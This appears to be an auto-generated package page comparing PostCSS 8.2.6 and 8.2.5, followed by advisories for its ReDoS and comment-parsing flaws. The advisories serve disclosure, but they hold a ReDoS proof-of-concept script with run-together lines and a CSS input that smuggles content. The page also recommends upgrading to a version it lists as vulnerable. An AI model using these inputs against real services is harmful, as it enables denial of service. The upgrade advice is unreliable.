PostCSS version 8.2.6 is a minor update to the popular JavaScript tool for transforming styles with plugins, building upon the foundation laid by version 8.2.5. Both versions share a core set of dependencies, including nanoid for generating unique IDs, colorette for adding color to console outputs, and source-map for debugging. The fundamental functionality and licensing (MIT) remain consistent between the two releases, indicating a focus on stability and continued improvement of existing features. Both versions are authored by Andrey Sitnik and support funding through Open Collective. They share the same repository.
The subtle but noteworthy difference lies in the dist section, specifically the unpackedSize. Version 8.2.6 has a slightly larger unpacked size of 203781 bytes compared to 8.2.5's 203659 bytes. This suggests that the update includes minor additions or adjustments, potentially bug fixes, performance enhancements, or small feature tweaks, rather than a major overhaul. The file count remains the same, indicating that the overall structure and the number of files within the package haven't changed. Developers should upgrade to 8.2.6 for possible improved performance, bug-fixes or security patches. The releases are very close in time, 2021-02-10 and 2021-02-06, suggesting the update might be important.
All the vulnerabilities related to the version 8.2.6 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.